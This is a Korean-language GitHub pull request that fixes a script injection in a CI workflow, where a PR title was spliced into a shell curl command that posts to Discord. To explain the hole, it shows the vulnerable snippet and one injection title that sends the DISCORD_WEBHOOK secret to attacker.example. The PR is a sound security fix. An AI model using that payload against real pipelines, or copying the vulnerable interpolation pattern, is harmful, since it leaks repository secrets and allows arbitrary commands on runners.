Skip to content

fix(ci): PR 제목의 '따옴표'가 셸에 삽입되던 Discord 알림 워크플로 - #191

Merged
i3months merged 1 commit into
devfrom
fix/discord-notify-injection
Aug 20, 2026
Merged

fix(ci): PR 제목의 '따옴표'가 셸에 삽입되던 Discord 알림 워크플로#191
i3months merged 1 commit into
devfrom
fix/discord-notify-injection

Conversation

@i3months

Copy link
Copy Markdown
Member

어떻게 발견했나

직전 PR(#190) 제목에 작은따옴표가 들어 있었다 — 면접 '잠시 중단' — 이어하기를…. notify 잡이 실패했다:

curl: (3) bad range specification in URL position 253

코드 잡 4개는 전부 통과했는데 알림만 죽었다.

원인

run: |
  curl -H "Content-Type: application/json" \
  -d '{
    "title": "${{ github.event.pull_request.title }}",
    ...
  }' \
  $DISCORD_WEBHOOK

${{ }}셸 실행 전에 치환된다. 제목에 ' 가 있으면 그 자리에서 작은따옴표 문자열이 끝나고, 나머지 JSON 조각이 셸 토큰으로 쪼개져 curl 의 인자가 된다. curl 은 그중 하나를 URL 로 보고 [...] 범위 문법을 파싱하려다 실패했다.

깨지는 것보다 큰 문제

같은 이유로 러너에서 임의 명령을 실행할 수 있다 — GitHub Actions script injection 의 교과서적 형태다. 제목을 이렇게 지으면 된다:

'; curl -d "$DISCORD_WEBHOOK" https://attacker.example; echo '

이 잡에는 DISCORD_WEBHOOK 시크릿이 env 로 들어온다. fork PR 에는 시크릿이 전달되지 않지만(pull_request 이벤트), 같은 저장소 브랜치에서는 전달된다.

수정

  • 사용자 제어 값(제목·브랜치·actor·avatar)을 전부 env: 로만 넘긴다. env 는 러너가 프로세스에 직접 주입하므로 셸이 그 내용을 코드로 파싱하지 않는다
  • JSON 은 jq --arg 가 만든다 — 따옴표·개행·백슬래시가 알아서 이스케이프된다
  • Discord embed title 상한(256자)에 맞춰 자른다
  • curl -f 추가. 지금까지는 Discord 가 400 을 돌려줘도 잡이 성공으로 끝나, 잘못된 페이로드를 아무도 몰랐다

이 PR 자체가 검증이다

pull_request 이벤트의 워크플로는 PR 브랜치 버전으로 실행된다. 이 PR 제목에 일부러 작은따옴표를 넣었다 — notify 잡이 통과하면 수정이 동작한 것이고, 실패하면 아직 덜 된 것이다.

영향 범위

  • 코드 변경 없음 (워크플로만)
  • DB 마이그레이션 / API / 환경변수: 없음

직전 PR(#190) 제목에 작은따옴표(`'잠시 중단'`)가 들어가자 notify 잡이 실패했다:

    curl: (3) bad range specification in URL position 253

`${{ github.event.pull_request.title }}` 를 작은따옴표로 감싼 셸 문자열 안에 그대로
끼워 넣고 있었다. `${{ }}` 는 셸 실행 **전에** 치환되므로, 제목에 따옴표가 있으면 그 자리에서
문자열이 끝나고 나머지가 셸 토큰으로 해석된다.

깨지는 것만이 문제가 아니다. 같은 이유로 **러너에서 임의 명령을 실행할 수 있다**
(GitHub Actions script injection). 이 잡에는 `DISCORD_WEBHOOK` 시크릿이 env 로 들어온다.
fork PR 에는 시크릿이 전달되지 않지만, 같은 저장소 브랜치에서는 전달된다.

- 사용자 제어 값(제목·브랜치·actor)을 전부 `env:` 로만 넘긴다 — 러너가 직접 주입하므로
  셸이 그 내용을 파싱하지 않는다
- JSON 은 `jq --arg` 가 만든다 — 따옴표·개행·백슬래시가 알아서 이스케이프된다
- Discord embed title 상한(256자)에 맞춰 자른다
- `curl -f` 추가. 지금까지는 Discord 가 400 을 돌려줘도 잡이 성공으로 끝나 잘못된 페이로드를
  알 수 없었다
@i3months
i3months merged commit 4086a94 into dev Aug 20, 2026
5 checks passed
@i3months
i3months deleted the fix/discord-notify-injection branch August 20, 2026 05:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant